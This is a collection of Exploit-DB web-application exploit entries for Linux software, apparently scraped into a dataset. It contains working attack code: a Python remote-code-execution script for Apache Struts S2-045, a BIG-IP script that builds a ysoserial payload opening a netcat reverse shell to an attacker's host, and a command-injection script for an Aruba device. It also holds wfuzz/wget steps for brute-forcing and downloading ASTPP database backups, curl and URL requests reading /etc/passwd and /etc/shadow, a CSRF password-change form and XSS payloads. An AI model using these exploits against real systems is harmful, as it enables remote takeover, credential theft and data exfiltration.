deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41570
Description: Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution
Type: webapps
Platform: linux
Date: 2017-03-07
Author: Vex Woo

Exploit:
#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib


def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial

    print(page)
    return page


if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)
Exploit-DB #47900
Description: ASTPP 4.0.1 VoIP Billing - Database Backup Download
Type: webapps
Platform: linux
Date: 2020-01-10
Author: Fabien AUNAY

Exploit:
# Exploit Title: ASTPP 4.0.1 VoIP Billing - Database Backup Download
# Date: 2019-11-18
# Exploit Author: Fabien AUNAY
# Vendor Homepage: https://www.astppbilling.org/
# Software Link: https://github.com/iNextrix/ASTPP/tree/v4.0.1
# Version: 4.0.1 vendor default setup script
# Tested on: Debian 9 - CentOS 7
# CVE : -

###########################################################################################################
ASTPP 4.0.1 VoIP Billing Unauthenticated Predictable database backup download

A Smart TelePhony Platform for Individual Business, Wholesale and Residential VoIP Service Providers!
It is available as an open source solution. It means without any investment, one can start his telephony
business using ASTPP.
ASTPP, being one of the most powerful VoIP Billing Software, thrives to benefit its users by providing a
comprehensive telephony solution. This open source solution has lifted itself up from a mere VoIP billing
solution to “A Smart TelePhony Platform”.
The latest version of ASTPP is provisioned with some advanced functional modules which are designed
to eliminate the need of multiple solutions to run a VoIP business. It has integrated hosted IP PBX, Class
4/5 Softswitch, and complete invoicing and billing solution developed by leveraging Smart
Technology.

When administrator performs a ASTPP backup in web interface (Configuration / Database Restore / Create)
the file name follows a semi-predictable pattern located in /var/www/html/astpp/database_backup/.

The file name can be FUZZED for data exfiltration with the following pattern: astpp_[PII_REDACTED]0136.sql.gz

Pattern review:
- astpp_
- year
- month
- day
- 6 PIN digit

Steps:
Objective 1 : Generate your 6 PIN list
Objective 2 : FUZZ the target URL
Objective 3 : Download the mysqldump

###########################################################################################################

Objective 1: Generate your 6 PIN list
POC: crunch 6 6[PII_REDACTED] > pin_fuzzer.list

Objective 2 : FUZZ the target URL
POC: wfuzz --hc 302 -w pin_fuzzer.list 'http://127.0.0.1/database_backup/astpp_20200110FUZZ.sql.gz'
===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000080137:   200        1135 L   6859 W   550239 Ch   "080136"

Objective 3 : Download the mysqldump
POC: wget http://127.0.0.1/database_backup/astpp_[PII_REDACTED]0136.sql.gz
astpp_[PII_REDACTED]0136.sql.gz             100%[===============================================================================>] 296,70K  1,05MB/s    ds 0,3
Exploit-DB #20037
Description: Atmail WebAdmin and Webmail Control Panel - SQL Root Password Disclosure
Type: webapps
Platform: linux
Date: 2012-07-23
Author: Ciph3r

Exploit:
######################################################################################
# Vuln Title: Atmail WebAdmin and webmail Control Panel Remote Access SQL Root password Vulnerability
# 
# Author: FaryadR (a.k.a Ciph3r)
# tested on : Atmail Email Server 6.20.8
# Twitter : https://twitter.com/faryadR
# Mail : Ciph3r.secure@gmail.com
# Website : http://0c0c0c0c.com
# Vendor : http://atmail.com
#  Powered by Atmail 6.20.8 - WebAdmin Control Panel	
#
######################################################################################
 
  [+]Vulnerability :
  
  you can Access All Atmail Webadmin Mail server Configuration and SQL Root Password
  
  
  [+]Poc : 
  
  Go to webmail and config Directory and type dbconfig.ini for Access all SQL Configuration
  
  [+]Demo for Test Vuln :
  
  [+]Atmail 6.20.8

http://server/config/dbconfig.ini
Exploit-DB #52074
Description: Aurba 501 - Authenticated RCE
Type: webapps
Platform: linux
Date: 2024-08-24
Author: Hosein Vita

Exploit:
# Exploit Title: Remote Command Execution | Aurba 501
# Date: 17-07-2024
# Exploit Author: Hosein Vita
# Vendor Homepage: https://www.hpe.com
# Version: Aurba 501 CN12G5W0XX
# Tested on: Linux

import requests
from requests.auth import HTTPBasicAuth


def get_input(prompt, default_value):
    user_input = input(prompt)
    return user_input if user_input else default_value


base_url = input("Enter the base URL: ")
if not base_url:
    print("Base URL is required.")
    exit(1)

username = get_input("Enter the username (default: admin): ", "admin")
password = get_input("Enter the password (default: admin): ", "admin")


login_url = f"{base_url}/login.cgi"
login_payload = {
    "username": username,
    "password": password,
    "login": "Login"
}


login_headers = {
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": base_url,
    "Connection": "close"
}

session = requests.Session()


requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

# Login to the system
response = session.post(login_url, headers=login_headers, data=login_payload, verify=False)

# Check if login was successful
if response.status_code == 200 and "login failed" not in response.text.lower():
    print("Login successful!")
    
    # The command to be executed on the device
    command = "cat /etc/passwd"
    
    
    ping_ip = f"4.2.2.4||{command}"
    
    # Data to be sent in the POST request
    data = {
        "ping_ip": ping_ip,
        "ping_timeout": "1",
        "textareai": "",
        "ping_start": "Ping"
    }
    
    # Headers to be sent with the request
    headers = {
        "Accept-Encoding": "gzip, deflate, br",
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": base_url,
        "Referer": f"{base_url}/admin.cgi?action=ping",
        "Connection": "close"
    }
    
    # Sending the HTTP POST request to exploit the vulnerability
    exploit_url = f"{base_url}/admin.cgi?action=ping"
    response = session.post(exploit_url, headers=headers, data=data, verify=False)
    
    
    if any("root" in value for value in response.headers.values()):
        print("Exploit successful! The /etc/passwd file contents are reflected in the headers:")
        print(response.headers)
    else:
        print("Exploit failed. The response headers did not contain the expected output.")
else:
    print("Login failed. Please check the credentials and try again.")

# Print the response headers for further analysis
print(response.headers)
Exploit-DB #48642
Description: BIG-IP 15.0.0 < 15.1.0.3 / 14.1.0 < 14.1.2.5 / 13.1.0 < 13.1.3.3 / 12.1.0 < 12.1.5.1 / 11.6.1 < 11.6.5.1 - Traffic Management User Interface 'TMUI'  Remote Code Execution
Type: webapps
Platform: linux
Date: 2020-07-06
Author: Critical Start

Exploit:
#!/bin/bash
#
# EDB Note Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48642.zip
# 
# Exploit Title: F5 BIG-IP Remote Code Execution
# Date: 2020-07-06
# Exploit Authors: Charles Dardaman of Critical Start, TeamARES
#                  Rich Mirch of Critical Start, TeamARES
# CVE: CVE-2020-5902
#
# Requirements:
#   Java JDK
#   hsqldb.jar 1.8
#   ysoserial https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
#

if [[ $# -ne 3 ]]
then
  echo
  echo "Usage: $(basename $0) <server> <localip> <localport>"
  echo
  exit 1
fi

server=${1?hostname argument required}
localip=${2?Locaip argument required}
port=${3?Port argument required}

if [[ ! -f $server.der ]]
then
  echo "$server.der does not exist - extracting cert"
  openssl s_client \
          -showcerts \
          -servername $server \
          -connect $server:443 </dev/null 2>/dev/null | openssl x509 -outform DER >$server.der

  keytool -import \
          -alias $server \
          -keystore keystore \
          -storepass changeit \
          -noprompt \
          -file $PWD/$server.der
else
  echo "$server.der already exists. skipping extraction step"
fi

java -jar ysoserial-master-SNAPSHOT.jar \
     CommonsCollections6 \
     "/bin/nc -e /bin/bash $localip $port" > nc.class

xxd -p nc.class | xargs | sed -e 's/ //g' | dd conv=ucase 2>/dev/null > payload.hex

if [[ ! -f f5RCE.class ]]
then
  echo "Building exploit"
  javac -cp hsqldb.jar f5RCE.java
fi

java -cp hsqldb.jar:. \
     -Djavax.net.ssl.trustStore=keystore \
     -Djavax.net.ssl.trustStore[CREDENTIAL_REDACTED] \
     f5RCE $server payload.hex
Exploit-DB #48643
Description: BIG-IP 15.0.0 < 15.1.0.3 / 14.1.0 < 14.1.2.5 / 13.1.0 < 13.1.3.3 / 12.1.0 < 12.1.5.1 / 11.6.1 < 11.6.5.1 - Traffic Management User Interface 'TMUI'  Remote Code Execution (PoC)
Type: webapps
Platform: linux
Date: 2020-07-05
Author: Budi Khoirudin

Exploit:
## RCE: 

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

## Read File: 

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
Exploit-DB #42290
Description: BOA Web Server 0.94.14rc21 - Arbitrary File Access
Type: webapps
Platform: linux
Date: 2017-06-20
Author: Miguel Mendez Z

Exploit:
BOA Web Server 0.94.14 - Access to arbitrary files as privileges

Title: Vulnerability in BOA Webserver 0.94.14
Date: 20-06-2017
Status: Vendor contacted, patch available
Scope: Arbitrary file access
Platforms: Unix
Author: Miguel Mendez Z
Vendor Homepage: http://www.boa.org
Version: Boa Webserver 0.94.14rc21
CVE: CVE-2017-9833


Vulnerability description
-------------------------
-We can read any file located on the server
The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges. Without using access credentials

Vulnerable variable:
FILECAMERA=../../etc/shadow%00

Exploit link:
/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/shadow%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&[CREDENTIAL_REDACTED]_SIZE=0

Poc:
http://127.0.0.1/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/shadow%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&[CREDENTIAL_REDACTED]_SIZE=0
Exploit-DB #51139
Description: Boa Web Server v0.94.14 - Authentication Bypass
Type: webapps
Platform: linux
Date: 2023-03-30
Author: George Tsimpidas

Exploit:
# Exploit Title: Boa Web Server v0.94.14 - Authentication Bypass
#Date: 19-11-2022
# Exploit Author: George Tsimpidas 
# Vendor: https://github.com/gpg/boa
# CVE: N/A 
# Tested on: Debian 5.18.5

Description :

Boa Web Server Versions from 0.94.13 - 0.94.14 fail to validate the
correct security constraint on the HEAD http method allowing everyone
to bypass the Basic Authorization Mechanism.

Culprit :

if (!memcmp(req->logline, "GET ", 4))
req->method = M_GET;
else if (!memcmp(req->logline, "HEAD ", 5))
/* head is just get w/no body */
req->method = M_HEAD;
else if (!memcmp(req->logline, "POST ", 5))
req->method = M_POST;
else {
log_error_doc(req);
fprintf(stderr, "malformed request: \"%s\"\n", req->logline);
send_r_not_implemented(req);
return 0;
}

The req->method = M_HEAD; is being parsed directly  on the  response.c
file, looking at how the method is being implemented for one of the
response codes :

/* R_NOT_IMP: 505 */
void send_r_bad_version(request * req)
{
    SQUASH_KA(req);
    req->response_status = R_BAD_VERSION;
    if (!req->simple) {
        req_write(req, "HTTP/1.0 505 HTTP Version Not Supported\r\n");
        print_http_headers(req);
        req_write(req, "Content-Type: " HTML "\r\n\r\n"); /* terminate
header */
    }
    if (req->method != M_HEAD) {
        req_write(req,
                  "<HTML><HEAD><TITLE>505 HTTP Version Not
Supported</TITLE></HEAD>\n"
                  "<BODY><H1>505 HTTP Version Not Supported</H1>\nHTTP
versions "
                  "other than 0.9 and 1.0 "
                  "are not supported in Boa.\n<p><p>Version encountered: ");
        req_write(req, req->http_version);
        req_write(req, "<p><p></BODY></HTML>\n");
    }
    req_flush(req);
}


Above code condition indicates that if (req->method != M_HEAD)  therefore
if the the requested method does not equal to M_HEAD then

req_write(req,
                  "<HTML><HEAD><TITLE>505 HTTP Version Not
Supported</TITLE></HEAD>\n"
                  "<BODY><H1>505 HTTP Version Not Supported</H1>\nHTTP
versions "
                  "other than 0.9 and 1.0 "
                  "are not supported in Boa.\n<p><p>Version encountered: ");
        req_write(req, req->http_version);
        req_write(req, "<p><p></BODY></HTML>\n");
    }

So if the method actually contains the http method of HEAD it's being
passed  for every function that includes all the response code methods.
Exploit-DB #34672
Description: CacheGuard-OS 5.7.7 - Cross-Site Request Forgery
Type: webapps
Platform: linux
Date: 2014-09-15
Author: William Costa

Exploit:
I. VULNERABILITY

-------------------------

CSRF vulnerabilities in CacheGuard-OS v5.7.7

II. BACKGROUND

-------------------------

CacheGuard is an All-in-One Web Security Gateway providing firewall,
web antivirus, caching, compression, URL filtering, proxy, high
availability, content filtering, bandwidth saving, bandwidth shaping,
Quality of Service and more.



III. DESCRIPTION

-------------------------

Has been detected a CSRF  vulnerability in CacheGuard in
"/gui/password-wadmin.apl"



IV. PROOF OF CONCEPT

-------------------------

The application does not validate the parameter any csrf_token
"/gui/password-wadmin.apl".



<html>



<body onload="CSRF.submit();">

<br>

<br>



<form id="CSRF" action="https://10.200.210.123:8090/gui/password-wadmin.apl"
method="post" name="CSRF">

<input name="password1" value="admin@1234" type=hidden> </input>

<input name="password2" value="admin@1234" type=hidden> </input>

</form>



</body>

</html>



V. BUSINESS IMPACT

-------------------------



CSRF allow the execution attackers to modify settings or change
password of user administrator in CacheGuard, because this functions
are not protected by CSRF-Tokens.



VI. REQUIREMENTS

-----------------------

An Attacker needs to know the IP of the device.

An Administrator needs an authenticated connection to the device.



VII. SYSTEMS AFFECTED

-------------------------

Try CacheGuard-OS v5.7.7



VIII. SOLUTION

-------------------------

All functions must be protected by CSRF-Tokens.

http://www.kb.cert.org/vuls/id/241508

By William Costa
william.costa no spam gmail.com
Exploit-DB #50200
Description: CentOS Web Panel 0.9.8.1081 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: linux
Date: 2021-08-16
Author: Dinesh Mohanty

Exploit:
# Exploit Title: CentOS Web Panel 0.9.8.1081 - Stored Cross-Site Scripting (XSS)
# Date: 13/08/2021
# Exploit Author: Dinesh Mohanty
# Vendor Homepage: http://centos-webpanel.com
# Software Link: http://centos-webpanel.com
# Version: v0.9.8.1081
# Tested on: CentOS 7 and 8

# Description:
Multiple Stored Cross Site Scripting (Stored XSS) Vulnerability is found in the Short Name, Ip Origin, Key Code, Format Request and Owner fields within the admin api page of module of CentOS/ Control WebPanel when user tries to create a new API. This is because the application does not properly sanitize users input.


# Steps to Reproduce:
1. Login into the CentOS Web Panel using admin credential.
2. From Navigation Click on "API Manager" -> then Click on "Allow New API Access"
3. In the above given fields give payload as: <img src=x onerror=alert(1)> and provide other details and click on "Create"
4. Now one can see that the XSS Payload executed.

#Vendor Notification
18th Aug 2021 - Vendor has been notified
18th Aug 2021 - Vendor confirmed the issue and fixed for next version
Exploit-DB #46349
Description: CentOS Web Panel 0.9.8.763 - Persistent Cross-Site Scripting
Type: webapps
Platform: linux
Date: 2019-02-11
Author: DKM

Exploit:
# Exploit Title: CentOS Web Panel 0.9.8.763 - Stored Cross-Site Scripting Vulnerability
# Google Dork: N/A
# Date: 10 - January - 2019
# Exploit Author: DKM
# Vendor Homepage: http://centos-webpanel.com
# Software Link: http://centos-webpanel.com
# Version: v0.9.8.763 
# Tested on: CentOS 7
# CVE : CVE-2019-7646

# Description:
A Stored Cross Site Scripting vulnerability is found in the "Package Name" Field within the 'Add a Package (add_package)' module. This is because the application does not properly sanitize the users input.


# Steps to Reproduce:
1. Login into the CentOS Web Panel using admin credential.
2. From Navigation Click on "Packages" -> then Click on "Add a Package"
3. In "Package Name" field give payload as: <script>alert(1)</script> and provide other details and click on "Create"
4. Now again from Navigation Click on "Packages" -> then Click on "List Packages"
5. Now one can see that the XSS Payload executed.
Exploit-DB #46629
Description: CentOS Web Panel 0.9.8.789 - NameServer Field Persistent Cross-Site Scripting
Type: webapps
Platform: linux
Date: 2019-03-29
Author: DKM

Exploit:
# Exploit Title: CentOS Web Panel 0.9.8.789 - NameServer Field Stored Cross-Site Scripting Vulnerability
# Google Dork: N/A
# Date: 28 - March - 2019
# Exploit Author: DKM
# Vendor Homepage: http://centos-webpanel.com
# Software Link: http://centos-webpanel.com
# Version: 0.9.8.789
# Tested on: CentOS 7
# CVE : CVE-2019-10261

# Description:
CentOS-WebPanel.com (aka CWP) CentOS Web Panel through 0.9.8.789 is vulnerable to Stored/Persistent XSS for the "Name Server 1" and "Name Server 2" fields via "DNS Functions" for "Edit Nameservers IPs" action. This is because the application does not properly sanitize the users input.


# Steps to Reproduce:
1. Login into the CentOS Web Panel using admin credential.
2. From Navigation Click on "DNS Functions" -> then Click on "Edit Nameservers IPs"
3. In "Name Server 1" and "Name Server 2" field give simple payload as: <script>alert(1)</script> and Click Save Changes
4. Now one can see that the XSS Payload executed and even accessing the home page Stored XSS for nameservers executes.
Exploit-DB #46669
Description: CentOS Web Panel 0.9.8.793 (Free) / 0.9.8.753 (Pro) - Cross-Site Scripting
Type: webapps
Platform: linux
Date: 2019-04-08
Author: DKM

Exploit:
# Exploit Title: CentOS Web Panel v0.9.8.793 (Free) and v0.9.8.753 (Pro) - Email Field Stored Cross-Site Scripting Vulnerability
# Google Dork: N/A
# Date: 06 - April - 2019
# Exploit Author: DKM
# Vendor Homepage: http://centos-webpanel.com
# Software Link: http://centos-webpanel.com
# Version: v0.9.8.793 (Free) and v0.9.8.753 (Pro)
# Tested on: CentOS 7
# CVE : CVE-2019-10893

# Description:
CentOS-WebPanel.com (aka CWP) CentOS Web Panel v0.9.8.793 (Free/Open Source Version) and v0.9.8.753 (Pro) is vulnerable to Stored/Persistent XSS for Admin Email fields on the "CWP Settings > "Edit Settings" screen. By changing the email ID to any XSS Payload and clicking on Save Changes, the XSS Payload will execute.

# Steps to Reproduce:
1. Login into the CentOS Web Panel using admin credential.
2. From Navigation Click on "CWP Settings then Click on "Edit Settings"
3. In "Email Address" field give simple payload as: <script>alert(1)</script> and Click Save Changes
4. Now one can see that the XSS Payload executed.
5. The application does not properly sanitize the user input even does not validation/check the user input is valid email id or not.
Exploit-DB #46784
Description: CentOS Web Panel 0.9.8.793 (Free) / v0.9.8.753 (Pro) / 0.9.8.807 (Pro) - Domain Field (Add DNS Zone) Cross-Site Scripting
Type: webapps
Platform: linux
Date: 2019-05-01
Author: DKM

Exploit:
# Exploit Title: CentOS Web Panel - Domain Field (Add DNS Zone) Cross-Site Scripting Vulnerability
# Google Dork: N/A
# Date: 22 - April - 2019
# Exploit Author: DKM
# Vendor Homepage: http://centos-webpanel.com
# Software Link: http://centos-webpanel.com
# Version: v0.9.8.793 (Free), v0.9.8.753 (Pro) and 0.9.8.807 (Pro)
# Tested on: CentOS 7
# CVE : CVE-2019-11429

# Description:
CentOS-WebPanel.com (aka CWP) CentOS Web Panel 0.9.8.793 (Free/Open Source Version), 0.9.8.753 (Pro) and 0.9.8.807 (Pro) is vulnerable to Reflected XSS for the "Domain" field on the "DNS Functions > "Add DNS Zone" screen.

# Steps to Reproduce:
1. Login into the CentOS Web Panel using admin credential.
2. From Navigation Click on "DNS Functions" > "Add DNS Zone"
3. In "Domain" field give simple payload as: "<script>alert(1)</script>//" , fill other details like IP and Admin Email and Click "Add DNS zone"
4. Now one can see that the XSS Payload executed.